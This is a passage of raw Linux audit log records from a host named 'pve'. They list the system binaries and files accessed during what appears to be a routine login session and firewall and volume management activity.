nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=PATH msg=audit(1781964805.705:62695): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=PATH msg=audit(1781964805.705:62694): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805039,"@rawstring":"node=pve type=PATH msg=audit(1781964805.039:62693): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805039,"@rawstring":"node=pve type=PATH msg=audit(1781964805.039:62693): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805015,"@rawstring":"node=pve type=PATH msg=audit(1781964805.015:62692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805015,"@rawstring":"node=pve type=PATH msg=audit(1781964805.015:62692): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964804993,"@rawstring":"node=pve type=PATH msg=audit(1781964804.993:62691): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964804993,"@rawstring":"node=pve type=PATH msg=audit(1781964804.993:62691): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964804210,"@rawstring":"node=pve type=PATH msg=audit(1781964804.210:62690): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964804210,"@rawstring":"node=pve type=PATH msg=audit(1781964804.210:62690): item=0 name=\"/usr/bin/whoami\" inode=261037 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=PATH msg=audit(1781964800.696:62689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=PATH msg=audit(1781964800.696:62689): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=PATH msg=audit(1781964800.696:62688): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=PATH msg=audit(1781964800.696:62687): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=PATH msg=audit(1781964800.682:62686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=PATH msg=audit(1781964800.682:62686): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=PATH msg=audit(1781964800.682:62685): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=PATH msg=audit(1781964800.682:62684): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796289,"@rawstring":"node=pve type=PATH msg=audit(1781964796.289:62683): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796289,"@rawstring":"node=pve type=PATH msg=audit(1781964796.289:62683): item=0 name=\"/usr/bin/cat\" inode=260653 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796287,"@rawstring":"node=pve type=PATH msg=audit(1781964796.287:62682): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796287,"@rawstring":"node=pve type=PATH msg=audit(1781964796.287:62682): item=0 name=\"/usr/bin/cat\" inode=260653 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796263,"@rawstring":"node=pve type=PATH msg=audit(1781964796.263:62681): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796263,"@rawstring":"node=pve type=PATH msg=audit(1781964796.263:62681): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796263,"@rawstring":"node=pve type=PATH msg=audit(1781964796.263:62681): item=0 name=\"/usr/bin/which\" inode=261035 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796239,"@rawstring":"node=pve type=PATH msg=audit(1781964796.239:62680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796239,"@rawstring":"node=pve type=PATH msg=audit(1781964796.239:62680): item=0 name=\"/usr/bin/tr\" inode=260992 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796235,"@rawstring":"node=pve type=PATH msg=audit(1781964796.235:62679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796235,"@rawstring":"node=pve type=PATH msg=audit(1781964796.235:62679): item=0 name=\"/usr/bin/dpkg\" inode=260699 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=PATH msg=audit(1781964796.232:62677): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=PATH msg=audit(1781964796.232:62677): item=0 name=\"/usr/bin/head\" inode=260759 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796233,"@rawstring":"node=pve type=PATH msg=audit(1781964796.233:62678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796233,"@rawstring":"node=pve type=PATH msg=audit(1781964796.233:62678): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=PATH msg=audit(1781964796.232:62676): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=PATH msg=audit(1781964796.232:62676): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=PATH msg=audit(1781964796.228:62673): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=PATH msg=audit(1781964796.228:62673): item=0 name=\"/usr/bin/head\" inode=260759 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=PATH msg=audit(1781964796.228:62674): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=PATH msg=audit(1781964796.228:62674): item=0 name=\"/usr/bin/tr\" inode=260992 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796229,"@rawstring":"node=pve type=PATH msg=audit(1781964796.229:62675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796229,"@rawstring":"node=pve type=PATH msg=audit(1781964796.229:62675): item=0 name=\"/usr/bin/tr\" inode=260992 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796227,"@rawstring":"node=pve type=PATH msg=audit(1781964796.227:62672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796227,"@rawstring":"node=pve type=PATH msg=audit(1781964796.227:62672): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796220,"@rawstring":"node=pve type=PATH msg=audit(1781964796.220:62671): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796220,"@rawstring":"node=pve type=PATH msg=audit(1781964796.220:62671): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796220,"@rawstring":"node=pve type=PATH msg=audit(1781964796.220:62671): item=0 name=\"/usr/bin/which\" inode=261035 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796218,"@rawstring":"node=pve type=PATH msg=audit(1781964796.218:62670): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796218,"@rawstring":"node=pve type=PATH msg=audit(1781964796.218:62670): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796218,"@rawstring":"node=pve type=PATH msg=audit(1781964796.218:62670): item=0 name=\"/usr/bin/which\" inode=261035 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796217,"@rawstring":"node=pve type=PATH msg=audit(1781964796.217:62669): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796217,"@rawstring":"node=pve type=PATH msg=audit(1781964796.217:62669): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796217,"@rawstring":"node=pve type=PATH msg=audit(1781964796.217:62669): item=0 name=\"/usr/bin/which\" inode=261035 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796205,"@rawstring":"node=pve type=PATH msg=audit(1781964796.205:62668): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796205,"@rawstring":"node=pve type=PATH msg=audit(1781964796.205:62668): item=0 name=\"/usr/bin/dirname\" inode=260694 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796189,"@rawstring":"node=pve type=PATH msg=audit(1781964796.189:62667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796189,"@rawstring":"node=pve type=PATH msg=audit(1781964796.189:62667): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796170,"@rawstring":"node=pve type=PATH msg=audit(1781964796.170:62666): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796170,"@rawstring":"node=pve type=PATH msg=audit(1781964796.170:62666): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796156,"@rawstring":"node=pve type=PATH msg=audit(1781964796.156:62665): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796156,"@rawstring":"node=pve type=PATH msg=audit(1781964796.156:62665): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796143,"@rawstring":"node=pve type=PATH msg=audit(1781964796.143:62664): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796143,"@rawstring":"node=pve type=PATH msg=audit(1781964796.143:62664): item=0 name=\"/usr/bin/run-parts\" inode=260895 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796141,"@rawstring":"node=pve type=PATH msg=audit(1781964796.141:62663): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796141,"@rawstring":"node=pve type=PATH msg=audit(1781964796.141:62663): item=0 name=\"/usr/bin/id\" inode=260766 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796137,"@rawstring":"node=pve type=PATH msg=audit(1781964796.137:62662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796137,"@rawstring":"node=pve type=PATH msg=audit(1781964796.137:62662): item=0 name=\"/bin/bash\" inode=260640 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796133,"@rawstring":"node=pve type=PATH msg=audit(1781964796.133:62659): item=0 name=\"/var/log/lastlog\" inode=392045 dev=fc:01 mode=0100664 ouid=0 ogid=43 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796122,"@rawstring":"node=pve type=PATH msg=audit(1781964796.122:62656): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796122,"@rawstring":"node=pve type=PATH msg=audit(1781964796.122:62656): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796122,"@rawstring":"node=pve type=PATH msg=audit(1781964796.122:62656): item=0 name=\"/etc/update-motd.d/10-uname\" inode=130657 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PATH msg=audit(1781964796.120:62655): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PATH msg=audit(1781964796.120:62655): item=0 name=\"/usr/bin/run-parts\" inode=260895 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PATH msg=audit(1781964796.120:62654): item=0 name=\"/usr/sbin/run-parts\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PATH msg=audit(1781964796.120:62653): item=0 name=\"/usr/local/bin/run-parts\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PATH msg=audit(1781964796.120:62652): item=0 name=\"/usr/local/sbin/run-parts\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=PATH msg=audit(1781964796.119:62651): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=PATH msg=audit(1781964796.119:62651): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=PATH msg=audit(1781964796.119:62650): item=1 name=\"/run/systemd/sessions/7.ref\" inode=4317 dev=00:1a mode=010600 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=PATH msg=audit(1781964796.119:62650): item=0 name=\"/run/systemd/sessions/\" inode=2549 dev=00:1a mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796097,"@rawstring":"node=pve type=PATH msg=audit(1781964796.097:62649): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796093,"@rawstring":"node=pve type=PATH msg=audit(1781964796.093:62645): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796092,"@rawstring":"node=pve type=PATH msg=audit(1781964796.092:62644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796092,"@rawstring":"node=pve type=PATH msg=audit(1781964796.092:62644): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796048,"@rawstring":"node=pve type=PATH msg=audit(1781964796.048:62642): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796048,"@rawstring":"node=pve type=PATH msg=audit(1781964796.048:62641): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796048,"@rawstring":"node=pve type=PATH msg=audit(1781964796.048:62641): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795838,"@rawstring":"node=pve type=PATH msg=audit(1781964795.838:62640): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795838,"@rawstring":"node=pve type=PATH msg=audit(1781964795.838:62640): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795835,"@rawstring":"node=pve type=PATH msg=audit(1781964795.835:62639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795835,"@rawstring":"node=pve type=PATH msg=audit(1781964795.835:62639): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795834,"@rawstring":"node=pve type=PATH msg=audit(1781964795.834:62638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795834,"@rawstring":"node=pve type=PATH msg=audit(1781964795.834:62638): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795834,"@rawstring":"node=pve type=PATH msg=audit(1781964795.834:62637): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795830,"@rawstring":"node=pve type=PATH msg=audit(1781964795.830:62636): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795830,"@rawstring":"node=pve type=PATH msg=audit(1781964795.830:62636): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 